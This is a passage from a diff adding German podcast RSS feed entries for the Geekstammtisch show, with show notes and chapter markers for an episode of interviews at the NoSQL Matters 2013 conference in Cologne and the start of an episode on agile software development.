+<li>Railsgirls FollowUp (22.4. bei Colabor) <a href="http://www.nerdhub.de/events/115-rails-girls-cologne/dates/1998">http://www.nerdhub.de/events/115-rails-girls-cologne/dates/1998</a></li>
+<li>JAX (22. bis 26.4. in Mainz): <a href="http://jax.de/2013/">http://jax.de/2013/</a>
+
+<ul>
+<li>Vielleicht nicht so unsere Zielgruppe, aber wir haben einen Talk schon vorab gehört ;-)</li>
+<li><a href="http://jax.de/2013/sessions/?tid=2884#session-24955">http://jax.de/2013/sessions/?tid=2884#session-24955</a></li>
+</ul></li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST011" />
+
+
+ <psc:chapters>
+
+ <psc:chapter start="00:00:00" title="Intro" />
+
+ <psc:chapter start="00:00:45" title="Errata" />
+
+ <psc:chapter start="00:04:35" title="Podcasting" />
+
+ <psc:chapter start="00:08:23" title="Ruby" />
+
+ <psc:chapter start="00:32:15" title="Gems" />
+
+ <psc:chapter start="00:37:31" title="CoolStuffâ„¢" />
+
+ <psc:chapter start="00:49:25" title="Verschiedenes: iOS, git, Google blink" />
+
+ <psc:chapter start="01:00:20" title="Meta(ebene)" />
+
+ <psc:chapter start="01:14:40" title="Events" />
+
+ </psc:chapters>
+
+ </item>
+
+ <item>
+ <title>GST013 - NoSQL Matters 2013</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Berichterstattung von der NoSQL Matters 2013</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst013.mp3" length="71288332" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST013</guid>
+ <pubDate>Wed, 01 May 2013 20:40:24 +0200</pubDate>
+ <itunes:duration>01:38:47</itunes:duration>
+ <itunes:summary><![CDATA[Synopsis: Wir waren auf der NoSQL Matters 2013 in Köln (@nosqlmatters). Das ist jedoch keine Retrospektive in unserem Studio, sondern wir haben unser Equipment in den Mediapark Köln getragen und mit Teilnehmern und Speakern direkt vor Ort kurze Gespräche über die Konferenz, NoSQL und was sie technologisch bewegt geführt. Ergebnis ist die vorliegende Ausgabe vom Geekstammtisch. Wir hoffen euch gefällt dieses Experiment und ihr stört euch nicht zu sehr an der eingeschränkten Audioqualität.
+
+### Gesprächspartner
+
+ * Martin Otten, adcloud (@Mobbit)
+ * Lucas Dohmen, ArangoDB/triAGENS (@moonbeamlabs)
+ * Sebastian Röbke (@boosty) und Stefan Kaes (@stkaes), Xing
+ * Frank Celler (@fceller) und Martin Schönert (@mschoenert), ArangoDB/triAGENS
+ * Simon Willnauer, Elasticsearch Inc. (@s1m0nw)
+ * Roland Gude, YOOCHOOSE (@rjtg_)
+ * Waldemar Schwan, adcloud (@Velrok)
+ * Sean Cribbs, Basho (@seancribbs)
+ * Gereon Steffens, Finanzen100 (@gereons)
+
+### Begrüßung (00:00:00)
+
+ * Wir erklären worum es bei der Ausgabe geht und schwärmen von Martin Fowlers (http://martinfowler.com) Keynote ;-)
+ * Hat ein Buch zu dem Thema: http://martinfowler.com/books/nosql.html
+ * 'NoSQL' hat eigentlich keine Bedeutung und war nur ein Twitter-Hashtag
+ * _Polyglot-Persistence_ als zentrales Stichwort: "Weg von der einen großen Datenbank"
+ * Zwei treibende Faktoren hinter der Entscheidung für NoSQL:
+ * Entwicklungsgeschwindigkeit
+ * "Big Data"
+ * Durch das Aufkommen von SOA fällt die Datenbank als Integrationspunkt weg
+ * Definitive Aufforderung sich die Videos zu den Talks anzusehen ;-)
+
+### Martin Otten von Adcloud (00:10:34)
+
+ * Martin (@Mobbit) arbeitet bei Adcloud in Köln
+ * Verwendung von unterschiedlichen Datenbanksystemen
+ * Martin würde auch S3 als "Datenbank" bezeichnen
+ * CouchDB ist super leicht an den Start zu bringen
+ * Basti weißt darauf hin, dass man grundsätzlich das System so einsetzen soll, dass es seine Stärken ausspielen kann
+ * Relationale Datenbanken sind auch dort noch nicht raus
+
+### Lucas Dohmen von triAGENS (00:16:01)
+
+ * @moonbeamlabs war Teil der Orga und ist Teil des ArangoDB Core-Teams
+ * Talks werden als Videos bereitgestellt
+ * Die meisten Leute auf der Konferenz nutzen NoSQL Datenbanken und Gespräche werden über konkrete Probleme im Einsatz geführt
+ * Lucas hat auch einen Talk über ArangoDB Foxx gehalten (http://www.arangodb.org/2013/03/29/foxx-a-lightweight-javascript-application-framework-for-arangodb)
+ * Foxx bietet die Möglichkeit auf ArangoDB direkt eine REST-API zu definieren
+ * Ähnlich zu dem CouchApp-Projekt (http://couchapp.org/page/index)
+ * Lucas geht viel auf Konferenzen, weil sie machen Spaß und die Gespräche sind gut
+ * Lucas hat den Eindruck, dass die meisten bereits NoSQL Datenbanken einsetzen
+ * Viele setzen wohl viele Datenbanken ein, dass macht es zwar komplexer, aber bei großen Datenmengen hat man eh komplexe Systeme
+ * ArangoDB als allgemeine Datenbank vereint dokumentenbasierte wie graphbasierte Konzepte, was die Komplexität wieder reduzieren kann
+
+### Sebastian Röbke und Stefan Kaes von Xing (00:25:04)
+
+ * Sebastian (@boosty) und Stefan sind im Architektur-Team von Xing tätig
+ * Evaluieren neue Technologie, entwickeln Prototypen und beraten die übrigen Teams
+ * Setzen unterschiedliche Datenbanken wie RabbitMQ, Riak und Redis ein
+ * Xing hat etwa 150 Engineers inkl. QA
+ * Inhalt des Talks
+ * Migration von SQL zu einem Riak-basierten System
+ * Fokus auf die Migration
+ * Weitere Technologien im Einsatz:
+ * Memcache, Redis, MongoDB, Neo4J, elasticsearch
+ * Für die Zukunft liegt der Fokus auf Optimierung der eingesetzen Technologien. Dabei werden Anwendungen auch schon mal wieder zurück auf MySQL geschoben
+ * Ziel ist die optimale Lösung für ein Problem zu finden
+
+### Frank Celler und Martin Schönert von triAGENS (00:31:25)
+
+ * Martin (@mschoenert) arbeitet derzeit vor allem als Software-Architekt bei triAGENS
+ * Frank (@fceller) ist vor allem als Orga hier und kommt so langsam zur Ruhe :-)
+ * Martin hält einen Talk über das CAP-Theorem (http://en.wikipedia.org/wiki/CAP_theorem) und dessen Einfluss vor allem auf große Systeme
+ * Der Talk ist dabei unabhängig von konkreten Datenbankimplementationen
+ * Für Frank ist das ganze eher eine Bewegung mit fast ausschließlich Open Source Vertretern
+ * Es wird nicht der eine Produktkatalog abgearbeitet, sondern vielmehr findet ein reger Austausch über die unterschiedlichen Einsatzgebiete von Systemen statt
+ * Für Martin geht es bei der Konferenz vor allem um den Austausch von Erfahrungen bei der Auswahl von Systemen
+ * NoSQL werden aus Martins Sicht viel stärker als Bausteine gesehen um spezielle Probleme lösen zu können
+ * Weg von monolithischen zu komponentenbasierten Systemen
+ * Frank freut sich, dass wir da sind :-)
+
+### Simon Willnauer von elasticsearch (00:39:11)
+
+ * Simon (@s1m0nw) ist seit 2006 am Apache Lucene Projekt beteiligt (http://lucene.apache.org/core/)
+ * Mit-Gründer von Elasticsearch Inc. (http://www.elasticsearch.com/) der Firma hinter elasticsearch
+ * Organisiert die Berlin Buzzwords Konferenz (http://berlinbuzzwords.de/)
+ * Er ist wirklich beeindruckt von der Konferenz und der Organisation
+ * Simons Talk war ein Einsteiger-Talk _ohne_ Slides (https://github.com/s1monw/hammertime)
+ * Demo, die in Echtzeit alle wesentlichen Eigenschaften von elasticsearch zeigt
+ * Wir sind uns alle einig, dass Live-Demos immer eine gute Alternative sind und vor allem authentisch rüberkommen
+ * Was hat eigentlich mit elasticsearch mit NoSQL zu tun?
+ * "Everything is a search"
+ * Simon macht mit Lucene NoSQL seit 2001
+ * Neo4J verwendet Lucene unter der Haube
+ * Lucene ist ein sehr performanter Key-Value-Store
+ * "Ich brauche keine Volltextsuche, ich brauch kein elasticsearch" -> Die Anwendungsbereiche sind sehr viel größer (z.B. Lucene als sehr schnelle Hashmap zu nutzen)
+ * elasticsearch ist durch sein append-only Ansatz extrem auf schnelles Schreiben optimiert und begünstigt zudem den Einsatz von SSDs
+ * Lucene 4 ist seit Oktober 2012 draußen mit massiven Verbesserungen bei der Performance und den Datenstrukturen
+
+### Roland Gude von YOOCHOOSE (00:51:10)
+
+ * Roland (@rjtg_) arbeitet bei YOOCHOOSE in Köln (http://http://www.yoochoose.com/)
+ * Baut ein Empfehlungssystem (z.B. für Shops)
+ * Beschäftigt sich dabei vor allem mit den Fragen rund um "Big Data" (Was? Wie?)
+ * Eingesetzt wird Cassandra (http://cassandra.apache.org/), Hadoop (für Research), Spark (http://spark-project.org/)
+ * Roland fand Seans Vortrag zu konvergierenden Datenstrukturen sehr gut: http://2013.nosql-matters.org/cgn/abstracts/#abstract_sean_cribbs
+ * Ebenfalls der Vortrag von Mahesh Paolini-Subramanya (@dieswaytoofast) http://2013.nosql-matters.org/cgn/abstracts/#abstract_mahesh_paolini-subramanya
+ * Bei der Frage, "Ease of Development oder Big Data" findet Roland, dass die Einfachheit der Entwicklung keine große Rolle spielt. Er sieht eher den Vorteil beim Betrieb von NoSQL Datenbanken.
+ * YOOCHOOSE verwendet Asgard, das AWS Deployment und Management Tool von Netflix https://github.com/Netflix/asgard
+ * Cassandra ist bei YOOCHOOSE ist noch nicht vollständig automatisiert, was den Betrieb angeht. Es wird aber dran gearbeitet.
+
+### Waldemar Schwan von Adcloud (01:04:59)
+
+ * Waldemar (@Velrok) arbeitet bei Adcloud
+ * Im Moment arbeitet er an seiner Masterarbeit zum Thema Empfehlungssysteme
+ * Beschäftigt sich mit Hadoop und kümmert u.a. sich um Hive
+ * Fand, wie jeder bisher, die Keynote sehr gut
+ * Sehr spannend fand er auch den Vortrag von Michael Hausenblas (@mhausenblas) zu Apache Drill (http://incubator.apache.org/drill/): http://2013.nosql-matters.org/cgn/abstracts/#abstract_michael_hausenblas
+ * Gekocht wird mit (heißem?) Wasser
+ * Waldemar wird einen Clojure Workshop am 22.05.2013 ab 16:30 bei adcloud geben: http://dev.adcloud.com/blog/2013/04/19/clojure-introduction-workshop/
+
+### Sean Cribbs von basho (01:15:18)
+
+ * Weltpremiere beim Geekstammtisch: Englisch :)
+ * Sean (@seancribbs) ist Entwickler bei @basho ("Makers of Riak")
+ * Basho ist ein verteiltes Unternehmen und Sean verrät ein paar Geheimnisse, warum das so gut funktioniert und worauf man achten muss
+ * Vertrauen in Mitarbeiter
+ * Hochmotivierte Mitarbeiter
+ * Verschiedene Kommunikationskanäle (z.B. HipChat, Skype, mumble, gotomeeting.com, E-Mail, yammer, ...)
+ * man muss **viel** kommunikativer sein, wenn man verteilt arbeitet
+ * Insgesamt bleibt zu sagen die Kultur eines Unternehmens bestimmt die Technologie
+ * An der NoSQL Matters gefällt Sean vor allem, dass so viele verschiedene Sichtweisen zusammenkommen und wie Leute NoSQL Systeme konkret einsetzen für ihre Produkte
+ * Er sieht einen beginnenden Reifeprozess im Bereich der NoSQL Datenbanken
+ * Es gibt weniger Angst bei Unternehmen vor NoSQL Systemen und die Akzeptanz steigt
+ * Sean interessiert sich sehr
+ * Probleme von verteilten Systemen
+ * eine "strongly consistent" Alternative zu Riak
+ * In seinem Vortrag (http://2013.nosql-matters.org/cgn/abstracts/#abstract_sean_cribbs) spricht er über konvergierende Datenstrukturen
+ * Es gibt eine gewisse Angst vor eventual consistency aus Unverständnis
+ * Wir reden über Fehlannahmen, was Konsistenzverhalten verschiedene Systeme anbelangt
+
+### Gereon Steffens von Finanzen100 (01:25:03)
+
+ * Gereon (@gereons) arbeitet Finanzen100, die Finanzinformationssysteme herstellen
+ * NoSQL spielt noch keine richtig große Rolle bei Finanzen100
+ * Erste Gehversuche mit Redis (inspiriert durch http://tisba.de/2012/06/28/nosql-not-only-a-fairy-tale/)
+ * Riak hat Gereon auch auf dem Radar und nutzt die Gelegenheit auf der Konferenz sich auszutauschen
+ * Redis wurde als Spielprojekt eingesetzt um einen URL Shortner zu bauen
+ * Und demnächst dann zum Aufbau von Watchlisten
+ * Angeschaut hat sich recht viel :)
+ * Der Trend bei Finanzen100 geht weg von Web und hin zu Apps
+ * Wir schweifen etwas ab und Reden über iOS Apps, iAd und Vor- und Nachteile von nativen und nicht-nativen Apps
+ * Weiterhin reden wir über Finanzen100s Transition von Webanwendung hin zu nativen Apps]]></itunes:summary>
+ <description><![CDATA[<p>Synopsis: Wir waren auf der NoSQL Matters 2013 in Köln (<a href="https://twitter.com/nosqlmatters">@nosqlmatters</a>). Das ist jedoch keine Retrospektive in unserem Studio, sondern wir haben unser Equipment in den Mediapark Köln getragen und mit Teilnehmern und Speakern direkt vor Ort kurze Gespräche über die Konferenz, NoSQL und was sie technologisch bewegt geführt. Ergebnis ist die vorliegende Ausgabe vom Geekstammtisch. Wir hoffen euch gefällt dieses Experiment und ihr stört euch nicht zu sehr an der eingeschränkten Audioqualität.</p>
+
+<h3>Gesprächspartner</h3>
+
+<ul>
+<li>Martin Otten, adcloud (<a href="https://twitter.com/Mobbit">@Mobbit</a>)</li>
+<li>Lucas Dohmen, ArangoDB/triAGENS (<a href="https://twitter.com/moonbeamlabs">@moonbeamlabs</a>)</li>
+<li>Sebastian Röbke (<a href="https://twitter.com/boosty">@boosty</a>) und Stefan Kaes (<a href="https://twitter.com/stkaes">@stkaes</a>), Xing</li>
+<li>Frank Celler (<a href="https://twitter.com/fceller">@fceller</a>) und Martin Schönert (<a href="https://twitter.com/mschoenert">@mschoenert</a>), ArangoDB/triAGENS</li>
+<li>Simon Willnauer, Elasticsearch Inc. (<a href="https://twitter.com/s1m0nw">@s1m0nw</a>)</li>
+<li>Roland Gude, YOOCHOOSE (<a href="https://twitter.com/rjtg_">@rjtg_</a>)</li>
+<li>Waldemar Schwan, adcloud (<a href="https://twitter.com/Velrok">@Velrok</a>)</li>
+<li>Sean Cribbs, Basho (<a href="https://twitter.com/seancribbs">@seancribbs</a>)</li>
+<li>Gereon Steffens, Finanzen100 (<a href="https://twitter.com/gereons">@gereons</a>)</li>
+</ul>
+
+<h3>Begrüßung (00:00:00)</h3>
+
+<ul>
+<li>Wir erklären worum es bei der Ausgabe geht und schwärmen von Martin Fowlers (<a href="http://martinfowler.com">http://martinfowler.com</a>) Keynote ;-)
+
+<ul>
+<li>Hat ein Buch zu dem Thema: <a href="http://martinfowler.com/books/nosql.html">http://martinfowler.com/books/nosql.html</a></li>
+<li>&#39;NoSQL&#39; hat eigentlich keine Bedeutung und war nur ein Twitter-Hashtag</li>
+<li><em>Polyglot-Persistence</em> als zentrales Stichwort: &quot;Weg von der einen großen Datenbank&quot;</li>
+<li>Zwei treibende Faktoren hinter der Entscheidung für NoSQL:
+
+<ul>
+<li>Entwicklungsgeschwindigkeit</li>
+<li>&quot;Big Data&quot;</li>
+</ul></li>
+<li>Durch das Aufkommen von SOA fällt die Datenbank als Integrationspunkt weg</li>
+</ul></li>
+<li>Definitive Aufforderung sich die Videos zu den Talks anzusehen ;-)</li>
+</ul>
+
+<h3>Martin Otten von Adcloud (00:10:34)</h3>
+
+<ul>
+<li>Martin (<a href="https://twitter.com/Mobbit">@Mobbit</a>) arbeitet bei Adcloud in Köln</li>
+<li>Verwendung von unterschiedlichen Datenbanksystemen</li>
+<li>Martin würde auch S3 als &quot;Datenbank&quot; bezeichnen</li>
+<li>CouchDB ist super leicht an den Start zu bringen</li>
+<li>Basti weißt darauf hin, dass man grundsätzlich das System so einsetzen soll, dass es seine Stärken ausspielen kann</li>
+<li>Relationale Datenbanken sind auch dort noch nicht raus</li>
+</ul>
+
+<h3>Lucas Dohmen von triAGENS (00:16:01)</h3>
+
+<ul>
+<li><a href="https://twitter.com/moonbeamlabs">@moonbeamlabs</a> war Teil der Orga und ist Teil des ArangoDB Core-Teams</li>
+<li>Talks werden als Videos bereitgestellt</li>
+<li>Die meisten Leute auf der Konferenz nutzen NoSQL Datenbanken und Gespräche werden über konkrete Probleme im Einsatz geführt</li>
+<li>Lucas hat auch einen Talk über ArangoDB Foxx gehalten (<a href="http://www.arangodb.org/2013/03/29/foxx-a-lightweight-javascript-application-framework-for-arangodb">http://www.arangodb.org/2013/03/29/foxx-a-lightweight-javascript-application-framework-for-arangodb</a>)
+
+<ul>
+<li>Foxx bietet die Möglichkeit auf ArangoDB direkt eine REST-API zu definieren</li>
+<li>Ähnlich zu dem CouchApp-Projekt (<a href="http://couchapp.org/page/index">http://couchapp.org/page/index</a>)</li>
+</ul></li>
+<li>Lucas geht viel auf Konferenzen, weil sie machen Spaß und die Gespräche sind gut</li>
+<li>Lucas hat den Eindruck, dass die meisten bereits NoSQL Datenbanken einsetzen</li>
+<li>Viele setzen wohl viele Datenbanken ein, dass macht es zwar komplexer, aber bei großen Datenmengen hat man eh komplexe Systeme</li>
+<li>ArangoDB als allgemeine Datenbank vereint dokumentenbasierte wie graphbasierte Konzepte, was die Komplexität wieder reduzieren kann</li>
+</ul>
+
+<h3>Sebastian Röbke und Stefan Kaes von Xing (00:25:04)</h3>
+
+<ul>
+<li>Sebastian (<a href="https://twitter.com/boosty">@boosty</a>) und Stefan sind im Architektur-Team von Xing tätig</li>
+<li>Evaluieren neue Technologie, entwickeln Prototypen und beraten die übrigen Teams</li>
+<li>Setzen unterschiedliche Datenbanken wie RabbitMQ, Riak und Redis ein</li>
+<li>Xing hat etwa 150 Engineers inkl. QA</li>
+<li>Inhalt des Talks
+
+<ul>
+<li>Migration von SQL zu einem Riak-basierten System</li>
+<li>Fokus auf die Migration</li>
+</ul></li>
+<li>Weitere Technologien im Einsatz:
+
+<ul>
+<li>Memcache, Redis, MongoDB, Neo4J, elasticsearch</li>
+</ul></li>
+<li>Für die Zukunft liegt der Fokus auf Optimierung der eingesetzen Technologien. Dabei werden Anwendungen auch schon mal wieder zurück auf MySQL geschoben</li>
+<li>Ziel ist die optimale Lösung für ein Problem zu finden</li>
+</ul>
+
+<h3>Frank Celler und Martin Schönert von triAGENS (00:31:25)</h3>
+
+<ul>
+<li>Martin (<a href="https://twitter.com/mschoenert">@mschoenert</a>) arbeitet derzeit vor allem als Software-Architekt bei triAGENS</li>
+<li>Frank (<a href="https://twitter.com/fceller">@fceller</a>) ist vor allem als Orga hier und kommt so langsam zur Ruhe :-)</li>
+<li>Martin hält einen Talk über das CAP-Theorem (<a href="http://en.wikipedia.org/wiki/CAP_theorem">http://en.wikipedia.org/wiki/CAP_theorem</a>) und dessen Einfluss vor allem auf große Systeme</li>
+<li>Der Talk ist dabei unabhängig von konkreten Datenbankimplementationen</li>
+<li>Für Frank ist das ganze eher eine Bewegung mit fast ausschließlich Open Source Vertretern</li>
+<li>Es wird nicht der eine Produktkatalog abgearbeitet, sondern vielmehr findet ein reger Austausch über die unterschiedlichen Einsatzgebiete von Systemen statt</li>
+<li>Für Martin geht es bei der Konferenz vor allem um den Austausch von Erfahrungen bei der Auswahl von Systemen</li>
+<li>NoSQL werden aus Martins Sicht viel stärker als Bausteine gesehen um spezielle Probleme lösen zu können</li>
+<li>Weg von monolithischen zu komponentenbasierten Systemen</li>
+<li>Frank freut sich, dass wir da sind :-)</li>
+</ul>
+
+<h3>Simon Willnauer von elasticsearch (00:39:11)</h3>
+
+<ul>
+<li>Simon (<a href="https://twitter.com/s1m0nw">@s1m0nw</a>) ist seit 2006 am Apache Lucene Projekt beteiligt (<a href="http://lucene.apache.org/core/">http://lucene.apache.org/core/</a>)</li>
+<li>Mit-Gründer von Elasticsearch Inc. (<a href="http://www.elasticsearch.com/">http://www.elasticsearch.com/</a>) der Firma hinter elasticsearch</li>
+<li>Organisiert die Berlin Buzzwords Konferenz (<a href="http://berlinbuzzwords.de/">http://berlinbuzzwords.de/</a>)</li>
+<li>Er ist wirklich beeindruckt von der Konferenz und der Organisation</li>
+<li>Simons Talk war ein Einsteiger-Talk <em>ohne</em> Slides (<a href="https://github.com/s1monw/hammertime">https://github.com/s1monw/hammertime</a>)</li>
+<li>Demo, die in Echtzeit alle wesentlichen Eigenschaften von elasticsearch zeigt</li>
+<li>Wir sind uns alle einig, dass Live-Demos immer eine gute Alternative sind und vor allem authentisch rüberkommen</li>
+<li>Was hat eigentlich mit elasticsearch mit NoSQL zu tun?
+
+<ul>
+<li>&quot;Everything is a search&quot;</li>
+<li>Simon macht mit Lucene NoSQL seit 2001</li>
+<li>Neo4J verwendet Lucene unter der Haube</li>
+<li>Lucene ist ein sehr performanter Key-Value-Store</li>
+<li>&quot;Ich brauche keine Volltextsuche, ich brauch kein elasticsearch&quot; -> Die Anwendungsbereiche sind sehr viel größer (z.B. Lucene als sehr schnelle Hashmap zu nutzen)</li>
+</ul></li>
+<li>elasticsearch ist durch sein append-only Ansatz extrem auf schnelles Schreiben optimiert und begünstigt zudem den Einsatz von SSDs</li>
+<li>Lucene 4 ist seit Oktober 2012 draußen mit massiven Verbesserungen bei der Performance und den Datenstrukturen</li>
+</ul>
+
+<h3>Roland Gude von YOOCHOOSE (00:51:10)</h3>
+
+<ul>
+<li>Roland (<a href="https://twitter.com/rjtg_">@rjtg_</a>) arbeitet bei YOOCHOOSE in Köln (<a href="http://http://www.yoochoose.com/">http://http://www.yoochoose.com/</a>)</li>
+<li>Baut ein Empfehlungssystem (z.B. für Shops)</li>
+<li>Beschäftigt sich dabei vor allem mit den Fragen rund um &quot;Big Data&quot; (Was? Wie?)</li>
+<li>Eingesetzt wird Cassandra (<a href="http://cassandra.apache.org/">http://cassandra.apache.org/</a>), Hadoop (für Research), Spark (<a href="http://spark-project.org/">http://spark-project.org/</a>)</li>
+<li>Roland fand Seans Vortrag zu konvergierenden Datenstrukturen sehr gut: <a href="http://2013.nosql-matters.org/cgn/abstracts/#abstract_sean_cribbs">http://2013.nosql-matters.org/cgn/abstracts/#abstract_sean_cribbs</a></li>
+<li>Ebenfalls der Vortrag von Mahesh Paolini-Subramanya (<a href="https://twitter.com/dieswaytoofast">@dieswaytoofast</a>) <a href="http://2013.nosql-matters.org/cgn/abstracts/#abstract_mahesh_paolini-subramanya">http://2013.nosql-matters.org/cgn/abstracts/#abstract_mahesh_paolini-subramanya</a></li>
+<li>Bei der Frage, &quot;Ease of Development oder Big Data&quot; findet Roland, dass die Einfachheit der Entwicklung keine große Rolle spielt. Er sieht eher den Vorteil beim Betrieb von NoSQL Datenbanken.</li>
+<li>YOOCHOOSE verwendet Asgard, das AWS Deployment und Management Tool von Netflix <a href="https://github.com/Netflix/asgard">https://github.com/Netflix/asgard</a></li>
+<li>Cassandra ist bei YOOCHOOSE ist noch nicht vollständig automatisiert, was den Betrieb angeht. Es wird aber dran gearbeitet.</li>
+</ul>
+
+<h3>Waldemar Schwan von Adcloud (01:04:59)</h3>
+
+<ul>
+<li>Waldemar (<a href="https://twitter.com/Velrok">@Velrok</a>) arbeitet bei Adcloud</li>
+<li>Im Moment arbeitet er an seiner Masterarbeit zum Thema Empfehlungssysteme</li>
+<li>Beschäftigt sich mit Hadoop und kümmert u.a. sich um Hive</li>
+<li>Fand, wie jeder bisher, die Keynote sehr gut</li>
+<li>Sehr spannend fand er auch den Vortrag von Michael Hausenblas (<a href="https://twitter.com/mhausenblas">@mhausenblas</a>) zu Apache Drill (<a href="http://incubator.apache.org/drill/):">http://incubator.apache.org/drill/):</a> <a href="http://2013.nosql-matters.org/cgn/abstracts/#abstract_michael_hausenblas">http://2013.nosql-matters.org/cgn/abstracts/#abstract_michael_hausenblas</a></li>
+<li>Gekocht wird mit (heißem?) Wasser</li>
+<li>Waldemar wird einen Clojure Workshop am 22.05.2013 ab 16:30 bei adcloud geben: <a href="http://dev.adcloud.com/blog/2013/04/19/clojure-introduction-workshop/">http://dev.adcloud.com/blog/2013/04/19/clojure-introduction-workshop/</a></li>
+</ul>
+
+<h3>Sean Cribbs von basho (01:15:18)</h3>
+
+<ul>
+<li>Weltpremiere beim Geekstammtisch: Englisch :)</li>
+<li>Sean (<a href="https://twitter.com/seancribbs">@seancribbs</a>) ist Entwickler bei <a href="https://twitter.com/basho">@basho</a> (&quot;Makers of Riak&quot;)</li>
+<li>Basho ist ein verteiltes Unternehmen und Sean verrät ein paar Geheimnisse, warum das so gut funktioniert und worauf man achten muss
+
+<ul>
+<li>Vertrauen in Mitarbeiter</li>
+<li>Hochmotivierte Mitarbeiter</li>
+<li>Verschiedene Kommunikationskanäle (z.B. HipChat, Skype, mumble, gotomeeting.com, E-Mail, yammer, ...)</li>
+<li>man muss <strong>viel</strong> kommunikativer sein, wenn man verteilt arbeitet</li>
+</ul></li>
+<li>Insgesamt bleibt zu sagen die Kultur eines Unternehmens bestimmt die Technologie</li>
+<li>An der NoSQL Matters gefällt Sean vor allem, dass so viele verschiedene Sichtweisen zusammenkommen und wie Leute NoSQL Systeme konkret einsetzen für ihre Produkte</li>
+<li>Er sieht einen beginnenden Reifeprozess im Bereich der NoSQL Datenbanken</li>
+<li>Es gibt weniger Angst bei Unternehmen vor NoSQL Systemen und die Akzeptanz steigt</li>
+<li>Sean interessiert sich sehr
+
+<ul>
+<li>Probleme von verteilten Systemen</li>
+<li>eine &quot;strongly consistent&quot; Alternative zu Riak</li>
+</ul></li>
+<li>In seinem Vortrag (<a href="http://2013.nosql-matters.org/cgn/abstracts/#abstract_sean_cribbs">http://2013.nosql-matters.org/cgn/abstracts/#abstract_sean_cribbs</a>) spricht er über konvergierende Datenstrukturen</li>
+<li>Es gibt eine gewisse Angst vor eventual consistency aus Unverständnis</li>
+<li>Wir reden über Fehlannahmen, was Konsistenzverhalten verschiedene Systeme anbelangt</li>
+</ul>
+
+<h3>Gereon Steffens von Finanzen100 (01:25:03)</h3>
+
+<ul>
+<li>Gereon (<a href="https://twitter.com/gereons">@gereons</a>) arbeitet Finanzen100, die Finanzinformationssysteme herstellen</li>
+<li>NoSQL spielt noch keine richtig große Rolle bei Finanzen100</li>
+<li>Erste Gehversuche mit Redis (inspiriert durch <a href="http://tisba.de/2012/06/28/nosql-not-only-a-fairy-tale/">http://tisba.de/2012/06/28/nosql-not-only-a-fairy-tale/</a>)</li>
+<li>Riak hat Gereon auch auf dem Radar und nutzt die Gelegenheit auf der Konferenz sich auszutauschen</li>
+<li>Redis wurde als Spielprojekt eingesetzt um einen URL Shortner zu bauen</li>
+<li>Und demnächst dann zum Aufbau von Watchlisten</li>
+<li>Angeschaut hat sich recht viel :)</li>
+<li>Der Trend bei Finanzen100 geht weg von Web und hin zu Apps</li>
+<li>Wir schweifen etwas ab und Reden über iOS Apps, iAd und Vor- und Nachteile von nativen und nicht-nativen Apps</li>
+<li>Weiterhin reden wir über Finanzen100s Transition von Webanwendung hin zu nativen Apps</li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST013" />
+
+
+ <psc:chapters>
+
+ <psc:chapter start="00:00:00" title="Eröffnung" />
+
+ <psc:chapter start="00:10:34.130" title="Martin Otten (Adcloud)" />
+
+ <psc:chapter start="00:16:01.070" title="Lucas Dohmen (triAGENS)" />
+
+ <psc:chapter start="00:25:04.200" title="Sebastian Röbke und Stefan Kaes (Xing)" />
+
+ <psc:chapter start="00:31:25.160" title="Frank Celler und Martin Schönert (triAGENS)" />
+
+ <psc:chapter start="00:39:11.220" title="Simon Willnauer (Elasticsearch)" />
+
+ <psc:chapter start="00:51:10.160" title="Roland Gude (yoochoose)" />
+
+ <psc:chapter start="01:04:59.010" title="Waldemar Schwan (Adcloud)" />
+
+ <psc:chapter start="01:15:18.090" title="Sean Cribbs (basho)" />
+
+ <psc:chapter start="01:25:03.030" title="Gereon Steffens (Finanzen100)" />
+
+ </psc:chapters>
+
+ </item>
+
+ <item>
+ <title>GST014 - Business Kasper UG</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Mit Matthias @luebken über den leidenschaftlichen Entwickler und agile Softwareentwicklung</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst014.mp3" length="75384721" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST014</guid>
+ <pubDate>Mon, 20 May 2013 17:18:16 +0200</pubDate>
+ <itunes:duration>01:44:21</itunes:duration>
+ <itunes:summary><![CDATA[**Synopsis**: Wir haben uns mit Matthias @luebken hingesetzt und einen
+Geekstammtisch abgehalten. Gesprochen haben darüber, was einen guten,
+leidenschaftlichen Softwareentwickler ausmacht und warum wir alle agile
+Softwareentwicklung machen (wollen). Wie immer schweifen wir in alle
+mögliche Richtungen ab und danken @larsvegas für das Bringen neuen
+Bieres!
+
+### Intro & Gast (00:00:00)
+
+ * Matthias trinkt Leffe Ruby: http://www.leffe.com/en/beer/leffe-ruby
+ * Macht was mit Softwareentwicklung
+ * Director Software Development bei Adcloud
+ * Matthias <3 Agile Softwareentwicklung
+ * Programmiert zwar gerne, sein Steckenpferd ist aber eher der Enabler zu sein für Entwicklung
+
+### Der ideale Entwickler (00:04:45)
+
+ * Die Basis sind wirklich gute Entwickler
+ * Wir sind uns einig, dass “gut†nicht wirklich scharf zu definieren ist
+ * Leidenschaft für die Sache scheint ein wichtiger Punkt zu sein
+ * Braucht man “Coding Monkeys�
+ * Extreme Programming: http://en.wikipedia.org/wiki/Extreme_programming
+ * Sustainable Pace: http://en.wikipedia.org/wiki/Extreme_programming_practices#Sustainable_pace
+ * (Aus GST011) Chad Fowler beschreibt seinen Traummitarbeiter: http://chadfowler.com/blog/2013/04/09/who-i-want-to-hire/
+ * Matthias will "Generalizing Specialists": http://www.agilemodeling.com/essays/generalizingSpecialists.htm (von Scott W. Ambler)
+ * T-Shaped People
+ * ein Spezialgebiet
+ * aber trotzdem eine gewisse Weitsicht
+
+### Einschub: Post-it! (00:26:16)
+
+ * Matthias liebt Post-it! Er arbeitet viel mit kleinen Zetteln in verschiedenen Bereichen der Produkt- und Softwareentwicklung bei Adcloud
+ * Matthias bietet Schulungen an, wie man Post-its richtig abzieht :)
